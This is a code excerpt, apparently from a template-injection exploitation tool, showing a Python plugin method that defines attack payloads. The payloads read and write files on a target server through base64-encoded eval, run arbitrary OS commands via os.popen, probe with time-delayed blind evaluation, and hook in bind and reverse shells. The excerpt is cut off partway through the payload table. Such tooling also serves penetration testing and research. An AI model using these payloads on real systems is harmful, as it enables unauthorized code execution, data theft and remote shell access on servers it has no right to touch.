Method language_init

plugins/languages/python.py:12–85

(self)

class Python(Plugin):

    def language_init(self):

        self.update_actions({
            'render' : {
                'render': """str(%(code)s)""",
                'header': """'%(header)s'+""",
                'trailer': """+'%(trailer)s'""",
                'test_render': """'%(s1)s'.join('%(s2)s')""" % { 
                    's1' : rand.randstrings[0], 
                    's2' : rand.randstrings[1]
                },
                'test_render_expected': '%(res)s' % { 
                    'res' : rand.randstrings[0].join(rand.randstrings[1])
                }
            },
            'write' : {
                'call' : 'evaluate',
                'write' : """open("%(path)s", 'ab+').write(__import__("base64").urlsafe_b64decode('%(chunk_b64)s'))""",
                'truncate' : """open("%(path)s", 'w').close()"""
            },
            'read' : {
                'call': 'evaluate',
                'read' : """__import__("base64").b64encode(open("%(path)s", "rb").read())"""
            },
            'md5' : {
                'call': 'evaluate',
                'md5': """__import__("hashlib").md5(open("%(path)s", 'rb').read()).hexdigest()"""
            },
            'evaluate' : {
                'call': 'render',
                'evaluate': """%(code)s""",
                'test_os': """'-'.join([__import__('os').name, __import__('sys').platform])""",
                'test_os_expected': '^[\w-]+$'
            },
            'execute' : {
                'call': 'evaluate',
                'execute': """__import__('os').popen(__import__('base64').urlsafe_b64decode('%(code_b64)s').decode()).read()""",
                'test_cmd': bash.echo % { 's1': rand.randstrings[2] },
                'test_cmd_expected': rand.randstrings[2] 
            },
            'blind' : {
                'call': 'evaluate_blind',
                'test_bool_true' : """'a'.join('ab') == 'aab'""",
                'test_bool_false' : 'True == False'
            },
            'evaluate_blind' : {
                'call': 'evaluate',
                'evaluate_blind': """eval(__import__('base64').urlsafe_b64decode('%(code_b64)s').decode()) and __import__('time').sleep(%(delay)i)"""
            },
            'bind_shell' : {
                'call' : 'execute_blind',
                'bind_shell': bash.bind_shell
            },
            'reverse_shell' : {
                'call': 'execute_blind',
                'reverse_shell' : bash.reverse_shell
            },
            'execute_blind' : {